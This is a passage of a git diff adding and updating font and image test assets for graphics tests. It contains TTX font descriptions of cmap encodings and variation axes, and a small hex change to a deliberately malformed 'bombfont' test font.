+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttf b/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttf
new file mode 100644
index 0000000..79c1c4d
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttx b/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttx
new file mode 100644
index 0000000..5365068
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform3Encoding1.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="1" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttf b/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttf
new file mode 100644
index 0000000..cdeaba7
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttx b/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttx
new file mode 100644
index 0000000..ad797ca
--- /dev/null
+++ b/tests/tests/graphics/assets/CmapPlatform3Encoding10.ttx
@@ -0,0 +1,177 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a" />
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:31:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="2000" lsb="93" />
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="1" nGroups="1" platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" />
+    <TTGlyph name="a" xMin="0" yMin="169" xMax="2000" yMax="2000"/>
+  </glyf>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/almost-red-adobe.png b/tests/tests/graphics/assets/almost-red-adobe.png
new file mode 100644
index 0000000..531b5a4
--- /dev/null
+++ b/tests/tests/graphics/assets/almost-red-adobe.png
Binary files differ
diff --git a/tests/tests/graphics/assets/bombfont.ttf b/tests/tests/graphics/assets/bombfont.ttf
index 66a89f8..c7e50ba 100644
--- a/tests/tests/graphics/assets/bombfont.ttf
+++ b/tests/tests/graphics/assets/bombfont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/bombfont.ttx b/tests/tests/graphics/assets/bombfont.ttx
index bf544da..3149b86 100644
--- a/tests/tests/graphics/assets/bombfont.ttx
+++ b/tests/tests/graphics/assets/bombfont.ttx
@@ -152,7 +152,7 @@
   <cmap ERROR="decompilation error" raw="True">
     <!-- An error occurred during the decompilation of this table -->
     <hexdata>
-      00000002 00030001 00000014 00030001
+      00000002 00030001 00000014 0003000a
       00000034 00040020 00000004 00040001
       00000065 ffff0000 0061ffff ffa00001
       00000000 000c0000 00000028 00000000
diff --git a/tests/tests/graphics/assets/bombfont2.ttf b/tests/tests/graphics/assets/bombfont2.ttf
index 604a698..da12077 100644
--- a/tests/tests/graphics/assets/bombfont2.ttf
+++ b/tests/tests/graphics/assets/bombfont2.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/bombfont2.ttx b/tests/tests/graphics/assets/bombfont2.ttx
index ccac1b6..7715c5e 100644
--- a/tests/tests/graphics/assets/bombfont2.ttx
+++ b/tests/tests/graphics/assets/bombfont2.ttx
@@ -152,7 +152,7 @@
   <cmap ERROR="decompilation error" raw="True">
     <!-- An error occurred during the decompilation of this table -->
     <hexdata>
-      00000002 00030001 00000014 00030001
+      00000002 00030001 00000014 0003000a
       00000034 00040020 00000004 00040001
       00000065 ffff0000 0061ffff ffa00001
       00000000 000c0000 00000028 00000000
diff --git a/tests/tests/graphics/assets/green-p3.png b/tests/tests/graphics/assets/green-p3.png
new file mode 100644
index 0000000..02f4cd1
--- /dev/null
+++ b/tests/tests/graphics/assets/green-p3.png
Binary files differ
diff --git a/tests/tests/graphics/assets/green-srgb.png b/tests/tests/graphics/assets/green-srgb.png
new file mode 100644
index 0000000..8b4d5ef
--- /dev/null
+++ b/tests/tests/graphics/assets/green-srgb.png
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttf b/tests/tests/graphics/assets/multiaxis.ttf
new file mode 100644
index 0000000..6e78c28
--- /dev/null
+++ b/tests/tests/graphics/assets/multiaxis.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/multiaxis.ttx b/tests/tests/graphics/assets/multiaxis.ttx
new file mode 100644
index 0000000..7d7279e
--- /dev/null
+++ b/tests/tests/graphics/assets/multiaxis.ttx
@@ -0,0 +1,242 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <!-- The 'id' attribute is only for humans; it is ignored when parsed. -->
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0xaf28220f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Wed Sep  9 08:01:17 2015"/>
+    <modified value="Tue Dec  8 03:58:55 2015"/>
+    <xMin value="0"/>
+    <yMin value="0"/>
+    <xMax value="0"/>
+    <yMax value="0"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <indexToLocFormat value="0"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <advanceWidthMax value="500"/>
+    <minLeftSideBearing value="0"/>
+    <minRightSideBearing value="0"/>
+    <xMaxExtent value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+    <numberOfHMetrics value="1"/>
+  </hhea>
+
+  <maxp>
+    <!-- Most of this table will be recalculated by the compiler -->
+    <tableVersion value="0x10000"/>
+    <numGlyphs value="7"/>
+    <maxPoints value="0"/>
+    <maxContours value="0"/>
+    <maxCompositePoints value="0"/>
+    <maxCompositeContours value="0"/>
+    <maxZones value="2"/>
+    <maxTwilightPoints value="12"/>
+    <maxStorage value="28"/>
+    <maxFunctionDefs value="119"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="61"/>
+    <maxSizeOfInstructions value="2967"/>
+    <maxComponentElements value="0"/>
+    <maxComponentDepth value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="97"/>
+    <usLastCharIndex value="65535"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+
+    <!-- The xMin, yMin, xMax and yMax values
+         will be recalculated by the compiler. -->
+
+    <TTGlyph name=".notdef"/><!-- contains no outline data -->
+
+    <TTGlyph name="a"/><!-- contains no outline data -->
+  </glyf>
+
+  <fvar>
+    <Axis>
+      <AxisTag>wght</AxisTag>
+      <MinValue>0</MinValue>
+      <DefaultValue>400</DefaultValue>
+      <MaxValue>700</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>PRIV</AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+    <Axis>
+      <AxisTag>PR12</AxisTag>
+      <MinValue>-1.0</MinValue>
+      <DefaultValue>0.0</DefaultValue>
+      <MaxValue>1.0</MaxValue>
+      <NameID>256</NameID>
+    </Axis>
+  </fvar>
+
+  <name>
+    <namerecord nameID="1" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="1" platEncID="0" langID="0x0" unicode="True">
+      MultiAxisFontTest-Regular
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFont Test
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      MultiAxisFontTest-Regular
+    </namerecord>
+    <namerecord nameID="256" platformID="3" platEncID="1" langID="0x409">
+      Axis Name
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="2.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-166"/>
+    <underlineThickness value="20"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+    <psNames>
+      <!-- This file uses unique glyph names based on the information
+           found in the 'post' table. Since these names might not be unique,
+           we have to invent artificial names in case of clashes. In order to
+           be able to retain the original information, we need a name to
+           ps name mapping for those cases where they differ. That's what
+           you see below.
+            -->
+    </psNames>
+    <extraNames>
+      <!-- following are the name that are not taken from the standard Mac glyph order -->
+      <psName name="BombEmoji"/>
+    </extraNames>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/prophoto-rgba16f.png b/tests/tests/graphics/assets/prophoto-rgba16f.png
new file mode 100644
index 0000000..5f855f2
--- /dev/null
+++ b/tests/tests/graphics/assets/prophoto-rgba16f.png
Binary files differ
diff --git a/tests/tests/graphics/assets/purple-cmyk.png b/tests/tests/graphics/assets/purple-cmyk.png
new file mode 100644
index 0000000..520c721
--- /dev/null
+++ b/tests/tests/graphics/assets/purple-cmyk.png
Binary files differ
diff --git a/tests/tests/graphics/assets/purple-displayprofile.png b/tests/tests/graphics/assets/purple-displayprofile.png
new file mode 100644
index 0000000..6448991
--- /dev/null
+++ b/tests/tests/graphics/assets/purple-displayprofile.png
Binary files differ
diff --git a/tests/tests/graphics/assets/red-adobergb.png b/tests/tests/graphics/assets/red-adobergb.png
new file mode 100644
index 0000000..adbff91
--- /dev/null
+++ b/tests/tests/graphics/assets/red-adobergb.png
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttf b/tests/tests/graphics/assets/samplefont.ttf
index 49f1c62..5fccad2 100644
--- a/tests/tests/graphics/assets/samplefont.ttf
+++ b/tests/tests/graphics/assets/samplefont.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/samplefont.ttx b/tests/tests/graphics/assets/samplefont.ttx
new file mode 100644
index 0000000..f618123
--- /dev/null
+++ b/tests/tests/graphics/assets/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="a"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="a" width="500" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_4 platformID="3" platEncID="10" language="0">
+      <map code="0x0061" name="a" />
+    </cmap_format_4>
+  </cmap>
+
+  <loca>
